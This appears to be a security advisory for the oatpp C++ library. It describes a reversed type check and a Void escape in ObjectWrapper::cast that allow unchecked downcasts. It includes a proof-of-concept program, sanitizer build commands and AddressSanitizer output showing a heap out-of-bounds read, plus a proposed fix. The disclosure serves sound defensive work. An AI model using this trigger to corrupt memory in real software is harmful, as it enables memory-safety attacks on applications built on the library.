#1102·oatpp

Type confusion in 'ObjectWrapper::cast'

Author: 2rr0r4o3Created Aug 24, 2026Updated Aug 24, 2026

Summary

ObjectWrapper::cast<Wrapper>() is the public conversion between mapping-enabled wrapper types. Its guard tests whether the target type extends the source type, which is the condition for a downcast rather than against one, so Object<Base> converts to Object<Derived> without an exception and a static_pointer_cast follows. A second problem sits underneath it: when the extends test fails, the throw is nested inside a further condition that skips it whenever either side is __class::Void and Void is the erased form every value passes through.

Details

src/oatpp/data/type/Type.hpp:556-567:

556    template <class T, class Clazz>
557    template<class Wrapper>
558    Wrapper ObjectWrapper<T, Clazz>::cast() const {
559      if(!Wrapper::Class::getType()->extends(m_valueType)) {
560        if(Wrapper::Class::getType() != __class::Void::getType() && m_valueType != __class::Void::getType()) {
561          throw std::runtime_error("[oatpp::data::type::ObjectWrapper::cast()]: Error. Invalid cast "
562                                   "from '" + std::string(m_valueType->classId.name) + "' to '" +
...
567      return Wrapper(std::static_pointer_cast<typename Wrapper::ObjectType>(m_ptr), Wrapper::Class::getType());

Wrapper::Class::getType() is what the caller wants; m_valueType is what is actually held. Line 559 asks whether the wanted type extends the held one. For Object<Base> held and Object<Derived> wanted that is true, so no throw, and line 567 performs static_pointer_cast<Derived> on a shared_ptr<void> that owns a Base.

extends walks the parent chain, and parent is set by DTO_INIT(Derived, Base). Type.hpp:469 documents it as "child object can be statically casted to parent type without any violations". Line 559 has the two sides of that relation swapped.

Line 560 is a separate hole. Even on the failing branch the exception is only raised if neither type is __class::Void. Any conversion with Void on one side therefore proceeds silently, and Void is not an exotic case. it is type erased form used throughout the mapper (ObjectToTreeMapper::map takes const oatpp::Void&).

The returned wrapper carries Wrapper::Class::getType() as its tag while m_ptr still owns the original object. ObjectToTreeMapper::mapObject reads the property list from the tag (ObjectToTreeMapper.cpp:259) and then reads each field through it (:272), so a Derived declaring more fields than Base walks past the end of the Base allocation.

Fix: reverse the comparison, and drop the Void escape rather than leaving it under the corrected test.

559      if(!m_valueType->extends(Wrapper::Class::getType())) {

PoC

poc_ObjectWrapper_cast.cpp:

cpp
class Base : public oatpp::DTO {
  DTO_INIT(Base, DTO)
  DTO_FIELD(String, a);
};
class Derived : public Base {
  DTO_INIT(Derived, Base)
  DTO_FIELD(String, f0);  /* ... f1 .. f9 ... */
};

auto base = Base::createShared();          // heap block sized for Base
oatpp::Void erased = base;                 // tag = Object<Base>, pointee = Base

// Type.hpp:559  Object<Derived>::getType()->extends(Object<Base>::getType()) == true
//   -> no throw, static_pointer_cast<Derived>(shared_ptr<void>{Base*})
auto confused = erased.cast<oatpp::Object<Derived>>();

oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(confused);   // <-- ASAN trigger

Build and run:

bash
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
  -fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
  poc_ObjectWrapper_cast.cpp liboatpp.a -lpthread -o poc_ObjectWrapper_cast
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0 ./poc_ObjectWrapper_cast

liboatpp.a needs the same sanitizer flags, and -fsanitize-recover=all rather than -fno-sanitize-recover=all.

ASAN output :

==3009046==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c4d6c8e0118 ...
READ of size 8 at 0x7c4d6c8e0118 thread T0
    [...]
    #2 in oatpp::data::type::ObjectWrapper<void, __class::Void>::getPtr() const   src/oatpp/data/type/Type.hpp
    #3 in oatpp::data::type::Void::Void(Void const&)                              src/oatpp/data/type/Type.hpp
    #4 in oatpp::data::type::BaseObject::get(long) const                          src/oatpp/data/type/Object.cpp:39:10
    #5 in oatpp::data::type::BaseObject::Property::get(BaseObject*) const         src/oatpp/data/type/Object.cpp
    #6 in oatpp::data::mapping::ObjectToTreeMapper::mapObject(...)                src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #7 in oatpp::data::mapping::ObjectToTreeMapper::map(...)                      src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #8 in oatpp::json::ObjectMapper::write(...)                                   src/oatpp/json/ObjectMapper.cpp
    [...]
0x7c4d6c8e0118 is located 0 bytes after 56-byte region

Impact

OOB read past a heap object, with the overrun length set by how many fields the target DTO declares. The equivalent write exists on the deserialize side, where the same mis-tagged wrapper reaches Property::set. The trigger is application code calling cast<>(), not a remote request, so this is library API that is unsafe by default rather than a remotely exploitable flaw.